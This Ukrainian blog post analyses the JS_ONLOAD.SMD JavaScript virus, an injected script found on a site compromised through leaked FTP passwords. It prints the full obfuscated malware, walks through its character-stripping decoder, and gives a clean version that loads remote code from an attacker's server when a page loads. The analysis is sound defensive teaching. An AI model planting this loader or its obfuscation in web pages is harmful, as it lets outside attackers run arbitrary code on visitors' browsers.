...slogans are forgotten like fairy-tales were
Blog » Аналіз джаваскріпт-вірусу JS_ONLOAD.SMD
Проаналізуємо javascript-вірус, поширеним результатом роботи якого є рекламні гіперпосилання розміщенні без вашого відома на вашій веб-сторінці. Одразу зауважу, що автори вірусу не обмежені лише розміщенням реклами на інфікованому ресурсі. Вони можуть робити із ним що завгодно, завдяки динамічному завантаженню javascript-коду з їхнього серверу.
Ось як реагують на піддослідний штам деякі антивіруси:
Avast | JS:Illredir-Z [Trj] |
DrWeb | JS.Redirector.based.2 |
ESET-NOD32 | JS/TrojanDownloader.Agent.NSM |
TrendMicro | JS_ONLOAD.SMD |
А ось як він сам виглядає:
var ok;if(ok!='E'){ok=''};try {var j="";var Mz=new Date();this.Js='';var x='replace';var pL="";var WC;if(WC!='Z'){WC=''};var g='[';var kC;if(kC!='s' && kC != ''){kC=null};var A=new String();var V=RegExp;var lF=new Date();var o='';var l='g';var B=']';this.wj='';function H(p,u){var Jo;if(Jo!=''){Jo='ZL'};var jN=new Array();var BD=g;var os;if(os!='' && os!='Zf'){os=''};var ny=new String();BD+=u;var vo='';var Je='';BD+=B;var cO;if(cO!='HJ' && cO != ''){cO=null};var Zc=new Array();var d=new V(BD, l);this._b="";return p[x](d, o);var C=new Array();};var k=H('82992099989222202299',"92");this.nb='';var AEN=new Date();var r=H('hItItIpX:X/I/ImXeIrXcIaXdXoXlIiXvXrIeX-IcXoXmI-XbXrX.XlXeItXiXtIbXiXtX.InXeXtI.XeIxXcIiItXeI-XcXoX-IjXpX.XtIaXgXtXeXaXmIeXxXpIoX.XrXuX:X',"IX");var p="1";var z=H('sQeXtvA4tvtXr4iXbQuQt4ev',"QXv4");this.yR="";var pT=H('b4o4dly4',"Zlt4n");var Cn=new String();var m=H('c5r5e5aPt5e6EPl5ePm6ePn5tP',"6LP5");var doH=new String();var BA=H('orn9lyoraydr',"Wy9rF");var W=H('/Em5a5rQkLe8tEwEa8t8cLh8.QcQo8mQ/Em8aLrEkQeLtLwLa5t8cQh5.EcQo8mQ/EyLa8pElEoEg8.LjQpL/LgQo5oQg5l5e5.5cEo8mL/8oLr5k8uEtE.8cEoEmE.Qp5hLp8',"58QEL");var Dr;if(Dr!='wB' && Dr!='UA'){Dr='wB'};var m_=H('azpzpQeznQdzCQhzizlzdQ',"Qz");this.Zl="";var gv=H('sIcIrIiepetI',"Ie");this.qg="";this.jc="";var Y='';var P;if(P!='' && P!='Yl'){P='Kd'};var Q='';window[BA]=function(){var ia;if(ia!='L' && ia!='uv'){ia=''};var cOu;if(cOu!='qn' && cOu!='oT'){cOu=''};M=document[m](gv);var Yv=new Array();this.GH="";var jy;if(jy!='CF' && jy!='_w'){jy=''};var xZ="";Y+=r;var F;if(F!='pk' && F!='OM'){F='pk'};Y+=k;Y+=W;var Qs;if(Qs!='' && Qs!='mQ'){Qs='zO'};var WA=document[pT];var Ez;if(Ez!='' && Ez!='Fa'){Ez=''};this.Kq='';M.setAttribute('defer', p);var PW='';M.src=Y;var tH='';var ve;if(ve!='' && ve!='fq'){ve='Zz'};var cq;if(cq!='SO' && cq!='FE'){cq='SO'};var ll;if(ll!='lB' && ll != ''){ll=null};var Tp=new Array();WA.appendChild(M);this.xX='';};var Um=new Array();var Ou=new Array();} catch(U){};var Mp;if(Mp!='' && Mp!='Ub'){Mp=''};var dP=new Array();
Ясна річ, що розповсюджується він у важкочитаємому вигляді, та, не дивлячись на це, зараз ми його розберемо і зрозуміємо, що його принцип дуже простий і весь алгоритм його роботи можна було б виразити декількома рядками коду.
Скрізь у коді зустрічаються рядки на кшталт тих, якими починається та закінчуюється вірус:
// початок
var ok;
if (ok!='E'){ok=''};
// ...
// кінець
var Mp;
if (Mp!='' && Mp!='Ub'){Mp=''};
var dP=new Array();
Ці змінні у коді далі не використовуються — це просто сміття для відвертання уваги, і більшість ініціалізацій змінних тут саме для цього.
Основний код знаходиться у блоці try/catch, його можна розділити на чотири частини:
Тут, проміж відвертаючого увагу коду, оголошуються змінні, задіяні при декларації функції пошуку та заміни.
Якщо видалити весь сміттєкод, то вийде ось що:
var x='replace';
var g='[';
var V=RegExp;
var o='';
var l='g';
var B=']';
Зацікавлення тут може викликати хіба що третій рядок, де змінній V присвоюється "конструктор" для створення об'єктів регулярних виразів. Все інше — змінні із звичайними текстовими значеннями.
Тепер ми готові до розгляду функції, у якій задіяні всі вищенаведені змінні.
Ця фунція використовується для розшифровки непридатних для читання неозброєним оком рядків тексту. Забігачи наперед, покажу деякі результати її роботи:
sQeXtvA4tvtXr4iXbQuQt4ev ->setAttribute 82992099989222202299 -> 8080
Сам її код, попередньо очищенний і відкоментований, ось:
function H(p,u){
var BD=g; // [
BD+=u; // [u
BD+=B; // [u]
var d=new V(BD,l); // new RegExp('[u]', 'g')
return p[x](d, o); // p['replace'](new RegExp('[u]', 'g'), '')
};
У функцію передається текст p, у якому потрібно видалити символи зазначені у u. Тут використовуються всі змінні оголошені на попередньому кроці:
Загалом же, як видно із коментарів, вся корисна робота функції зводиться до одного рядка:
p.replace(new RegExp('[u]', 'g'), '');
Далі створюються змінні, вміст яких автори вірусу приховують із допомогою розглянутої вище функції H() . Ось очищений код цієї частини:
var k=H('82992099989222202299',"92"); // 8080
// mercadolivre-com-br.letitbit.net.excite-co-jp.tagteamexpo.ru:
var r=H('hItItIpX:X/I/ImXeIrXcIaXdXoXlIiXvXrIeX-IcXoXmI-XbXrX.XlXeItXiXtIbXiXtX.InXeXtI.XeIxXcIiItXeI-XcXoX-IjXpX.XtIaXgXtXeXaXmIeXxXpIoX.XrXuX:X',"IX");
var p="1";
// setAttribute
var z=H('sQeXtvA4tvtXr4iXbQuQt4ev',"QXv4");
// body
var pT=H('b4o4dly4',"Zlt4n");
// createElement
var m=H('c5r5e5aPt5e6EPl5ePm6ePn5tP',"6LP5");
// onLoad
var BA=H('orn9lyoraydr',"Wy9rF");
// /marketwatch.com/marketwatch.com/yaplog.jp/google.com/orkut.com.php
var W=H('/Em5a5rQkLe8tEwEa8t8cLh8.QcQo8mQ/Em8aLrEkQeLtLwLa5t8cQh5.EcQo8mQ/EyLa8pElEoEg8.LjQpL/LgQo5oQg5l5e5.5cEo8mL/8oLr5k8uEtE.8cEoEmE.Qp5hLp8',"58QEL");
// appendChild
var m_=H('azpzpQeznQdzCQhzizlzdQ',"Qz");
// script
var gv=H('sIcIrIiepetI',"Ie");
var Y='';
Як бачимо, у функцію H() передається засмічений рядок тексту і, разом із цим, символи які потрібно видалити із засміченого тексту, щоб він став чистим.
У наступній частині ми розглянемо, як всі ці клаптики тексту об'єднуються в один механізм, заради кінцевої мети вірусу.
Попередньо очищенний код цієї частини ось:
window[BA]=function(){
M=document[m](gv);
Y+=r;
Y+=k;
Y+=W;
var WA=document[pT];
M.setAttribute('defer', p);
M.src=Y;
WA.appendChild(M);
};
Якщо позамінювати змінні із попередньої частини їхніми значеннями, то отримаємо такий код:
window.onload=function(){
M=document.createElement("script");
Y="http://mercadolivre-com-br.letitbit.net.excite-co-jp.tagteamexpo.ru:8080/marketwatch.com/marketwatch.com/yaplog.jp/google.com/orkut.com.php";
var WA=document.body;
M.setAttribute('defer', 1);
M.src=Y;
WA.appendChild(M);
}
Тобто, оці вісім рядків коду, це все заради чого вірус виглядав так страшно: все заради створення нового DOM-об'єкту script і підвантаження javascript-коду із сервера зловмисників.
Отже, ми з вами побачили яскравий приклад того, як сильно ускладнюється код та життя коли тобі є що приховувати.
Також ми побачили приклад того, як може додатися роботи тоді, коли не слідкуєш за своїми FTP-паролями (вірус потрапив на сервер саме завдяки цьому).
На этой странице еще нет комментариев.